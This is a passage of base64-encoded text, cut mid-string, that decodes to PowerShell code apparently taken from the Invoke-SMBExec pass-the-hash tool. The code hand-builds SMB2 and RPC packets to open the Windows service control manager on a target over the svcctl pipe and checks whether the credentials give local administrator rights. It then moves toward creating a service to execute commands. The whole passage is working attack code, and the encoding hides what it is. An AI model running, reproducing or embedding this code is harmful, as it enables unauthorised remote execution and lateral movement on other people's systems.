Rfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0NyZWF0ZVJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnQ3JlYXRlUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfdHJlZV9JRCA9IDB4MDEsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NzMsMHgwMCwweDc2LDB4MDAsMHg2MywweDAwLDB4NjMsMHgwMCwweDc0LDB4MDAsMHg2YywweDAwICMgXHN2Y2N0bA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCArPSAxDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwNSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMkNyZWF0ZVJlcXVlc3RGaWxlICRTTUJfbmFtZWRfcGlwZV9ieXRlcw0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGFbIlNNQjJDcmVhdGVSZXF1ZXN0RmlsZV9TaGFyZV9BY2Nlc3MiXSA9IDB4MDcsMHgwMCwweDAwLDB4MDAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfaGVhZGVyID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2hlYWRlcg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9kYXRhICANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFNNQjJfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JQQ0JpbmQnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJ1JQQ0JpbmQnDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfbmFtZWRfcGlwZV9ieXRlcyA9IDB4NzMsMHgwMCwweDc2LDB4MDAsMHg2MywweDAwLDB4NjMsMHgwMCwweDc0LDB4MDAsMHg2YywweDAwICMgXHN2Y2N0bA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9maWxlX0lEID0gJFNNQl9jbGllbnRfcmVjZWl2ZVsxMzIuLjE0N10NCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlciA9IEdldC1QYWNrZXRTTUIySGVhZGVyIDB4MDksMHgwMCAkU01CMl9tZXNzYWdlX0lEICRTTUIyX3RyZWVfSUQgJFNNQl9zZXNzaW9uX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0NyZWRpdFJlcXVlc3QiXSA9IDB4N2YsMHgwMA0KICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyWyJTTUIySGVhZGVyX0ZsYWdzIl0gPSAweDA4LDB4MDAsMHgwMCwweDAwICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9kYXRhID0gR2V0LVBhY2tldFNNQjJXcml0ZVJlcXVlc3QgJFNNQl9maWxlX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YVsiU01CMldyaXRlUmVxdWVzdF9MZW5ndGgiXSA9IDB4NDgsMHgwMCwweDAwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfUlBDX2RhdGEgPSBHZXQtUGFja2V0UlBDQmluZCAxIDB4YjgsMHgxMCAweDAxIDB4MDAsMHgwMCAkU01CX25hbWVkX3BpcGVfVVVJRCAweDAyLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICRSUENfZGF0YSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfUlBDX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGFfbGVuZ3RoID0gJFNNQjJfZGF0YS5MZW5ndGggKyAkUlBDX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRSUENfZGF0YV9sZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UNCg0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX3NpZ24gPSAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJEhNQUNfU0hBMjU2LkNvbXB1dGVIYXNoKCRTTUIyX3NpZ24pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbmF0dXJlID0gJFNNQjJfc2lnbmF0dXJlWzAuLjE1XQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfU2lnbmF0dXJlIl0gPSAkU01CMl9zaWduYXR1cmUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3NlbmQgPSAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgKyAkU01CMl9oZWFkZXIgKyAkU01CMl9kYXRhICsgJFJQQ19kYXRhDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdSZWFkUmVxdWVzdCcNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlX25leHQgPSAnT3BlblNDTWFuYWdlclcnDQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAnUmVhZFJlcXVlc3QnDQogICAgICAgICAgICAgICAgICAgIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgU3RhcnQtU2xlZXAgLW0gJFNsZWVwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9tZXNzYWdlX0lEICs9IDENCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXIgPSBHZXQtUGFja2V0U01CMkhlYWRlciAweDA4LDB4MDAgJFNNQjJfbWVzc2FnZV9JRCAkU01CMl90cmVlX0lEICRTTUJfc2Vzc2lvbl9JRA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0Il0gPSAweDdmLDB4MDANCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0Q2hhcmdlIl0gPSAweDEwLDB4MDANCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9GbGFncyJdID0gMHgwOCwweDAwLDB4MDAsMHgwMCAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfZGF0YSA9IEdldC1QYWNrZXRTTUIyUmVhZFJlcXVlc3QgJFNNQl9maWxlX0lEDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gR2V0LVBhY2tldE5ldEJJT1NTZXNzaW9uU2VydmljZSAkU01CMl9oZWFkZXIuTGVuZ3RoICRTTUIyX2RhdGEuTGVuZ3RoDQogICAgICAgICAgICAgICAgICAgICAgICAkTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X05ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRTTUJfc2lnbmluZykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduID0gJFNNQjJfaGVhZGVyICsgJFNNQjJfZGF0YSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uV3JpdGUoJFNNQl9jbGllbnRfc2VuZCwwLCRTTUJfY2xpZW50X3NlbmQuTGVuZ3RoKSA+ICRudWxsDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uRmx1c2goKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtbmUgJzAzLTAxLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICRTTUJfY2xpZW50X3N0YWdlX25leHQNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICdTdGF0dXNQZW5kaW5nJw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAnU3RhdHVzUGVuZGluZycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RyZWFtLlJlYWQoJFNNQl9jbGllbnRfcmVjZWl2ZSwwLCRTTUJfY2xpZW50X3JlY2VpdmUuTGVuZ3RoKSA+ICRudWxsDQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMi4uMTVdKSAtbmUgJzAzLTAxLTAwLTAwJykNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdGFnZSA9ICRTTUJfY2xpZW50X3N0YWdlX25leHQNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICdPcGVuU0NNYW5hZ2VyVycNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfbWVzc2FnZV9JRCA9IDMwDQogICAgICAgICAgICAgICAgICAgICAgICAkcGFja2V0X1NNQjJfaGVhZGVyID0gR2V0LVBhY2tldFNNQjJIZWFkZXIgMHgwOSwweDAwICRTTUIyX21lc3NhZ2VfSUQgJFNNQjJfdHJlZV9JRCAkU01CX3Nlc3Npb25fSUQNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfQ3JlZGl0UmVxdWVzdCJdID0gMHg3ZiwweDAwDQogICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9zaWduaW5nKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfU01CMl9oZWFkZXJbIlNNQjJIZWFkZXJfRmxhZ3MiXSA9IDB4MDgsMHgwMCwweDAwLDB4MDAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TQ01fZGF0YSA9IEdldC1QYWNrZXRTQ01PcGVuU0NNYW5hZ2VyVyAkU01CX3NlcnZpY2VfYnl0ZXMgJFNNQl9zZXJ2aWNlX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJFNDTV9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TQ01fZGF0YQ0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2RhdGEgPSBHZXQtUGFja2V0U01CMldyaXRlUmVxdWVzdCAkU01CX2ZpbGVfSUQgJFNDTV9kYXRhLmxlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9SUENfZGF0YSA9IEdldC1QYWNrZXRSUENSZXF1ZXN0IDB4MDMgJFNDTV9kYXRhLmxlbmd0aCAwIDAgMHgwMSwweDAwLDB4MDAsMHgwMCAweDAwLDB4MDAgMHgwZiwweDAwDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9oZWFkZXIgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1NNQjJfaGVhZGVyDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9kYXRhID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9TTUIyX2RhdGEgDQogICAgICAgICAgICAgICAgICAgICAgICAkUlBDX2RhdGEgPSBDb252ZXJ0RnJvbS1QYWNrZXRPcmRlcmVkRGljdGlvbmFyeSAkcGFja2V0X1JQQ19kYXRhIA0KICAgICAgICAgICAgICAgICAgICAgICAgJFJQQ19kYXRhX2xlbmd0aCA9ICRTTUIyX2RhdGEuTGVuZ3RoICsgJFNDTV9kYXRhLkxlbmd0aCArICRSUENfZGF0YS5MZW5ndGgNCiAgICAgICAgICAgICAgICAgICAgICAgICRwYWNrZXRfTmV0QklPU19zZXNzaW9uX3NlcnZpY2UgPSBHZXQtUGFja2V0TmV0QklPU1Nlc3Npb25TZXJ2aWNlICRTTUIyX2hlYWRlci5MZW5ndGggJFJQQ19kYXRhX2xlbmd0aA0KICAgICAgICAgICAgICAgICAgICAgICAgJE5ldEJJT1Nfc2Vzc2lvbl9zZXJ2aWNlID0gQ29udmVydEZyb20tUGFja2V0T3JkZXJlZERpY3Rpb25hcnkgJHBhY2tldF9OZXRCSU9TX3Nlc3Npb25fc2VydmljZQ0KDQogICAgICAgICAgICAgICAgICAgICAgICBpZigkU01CX3NpZ25pbmcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQjJfc2lnbiA9ICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkSE1BQ19TSEEyNTYuQ29tcHV0ZUhhc2goJFNNQjJfc2lnbikNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CMl9zaWduYXR1cmUgPSAkU01CMl9zaWduYXR1cmVbMC4uMTVdDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHBhY2tldF9TTUIyX2hlYWRlclsiU01CMkhlYWRlcl9TaWduYXR1cmUiXSA9ICRTTUIyX3NpZ25hdHVyZQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX2hlYWRlciA9IENvbnZlcnRGcm9tLVBhY2tldE9yZGVyZWREaWN0aW9uYXJ5ICRwYWNrZXRfU01CMl9oZWFkZXINCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc2VuZCA9ICROZXRCSU9TX3Nlc3Npb25fc2VydmljZSArICRTTUIyX2hlYWRlciArICRTTUIyX2RhdGEgKyAkUlBDX2RhdGEgKyAkU0NNX2RhdGENCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5Xcml0ZSgkU01CX2NsaWVudF9zZW5kLDAsJFNNQl9jbGllbnRfc2VuZC5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0cmVhbS5GbHVzaCgpDQogICAgICAgICAgICAgICAgICAgICAgICAkU01CX2NsaWVudF9zdHJlYW0uUmVhZCgkU01CX2NsaWVudF9yZWNlaXZlLDAsJFNNQl9jbGllbnRfcmVjZWl2ZS5MZW5ndGgpID4gJG51bGwNCiAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ1JlYWRSZXF1ZXN0Jw0KICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2VfbmV4dCA9ICdDaGVja0FjY2VzcycgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgJ0NoZWNrQWNjZXNzJw0KICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMjguLjEzMV0pIC1lcSAnMDAtMDAtMDAtMDAnIC1hbmQgW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1N0cmluZygkU01CX2NsaWVudF9yZWNlaXZlWzEwOC4uMTI3XSkgLW5lICcwMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMC0wMCcpDQogICAgICAgICAgICAgICAgICAgICAgICB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CX3NlcnZpY2VfbWFuYWdlcl9jb250ZXh0X2hhbmRsZSA9ICRTTUJfY2xpZW50X3JlY2VpdmVbMTA4Li4xMjddDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJFNNQl9leGVjdXRlIC1lcSAkdHJ1ZSkNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLVZlcmJvc2UgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUJfY2xpZW50X3N0YWdlID0gJ0NyZWF0ZVNlcnZpY2VXJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIiRvdXRwdXRfdXNlcm5hbWUgaXMgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRTTUIyX21lc3NhZ2VfSUQgKz0gMjANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbG9zZV9zZXJ2aWNlX2hhbmRsZV9zdGFnZSA9IDINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQl9jbGllbnRfc3RhZ2UgPSAnQ2xvc2VTZXJ2aWNlSGFuZGxlJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWxzZWlmKFtTeXN0ZW0uQml0Q29udmVydGVyXTo6VG9TdHJpbmcoJFNNQl9jbGllbnRfcmVjZWl2ZVsxMjguLjEzMV0pIC1lcSAnMDUtMDAtMDAtMDAnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIFdyaXRlLU91dHB1dCAiJG91dHB1dF91c2VybmFtZSBpcyBub3QgYSBsb2NhbCBhZG1pbmlzdHJhdG9yIG9uICRUYXJnZXQiDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJFNNQkV4ZWNfZmFpbGVkID0gJHRydWUNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBXcml0ZS1PdXRwdXQgIlNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggJFRhcmdldCINCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkU01CRXhlY19mYWlsZWQgPSAkdHJ1ZQ0KICAgICAgICAgICAgICAgICAgI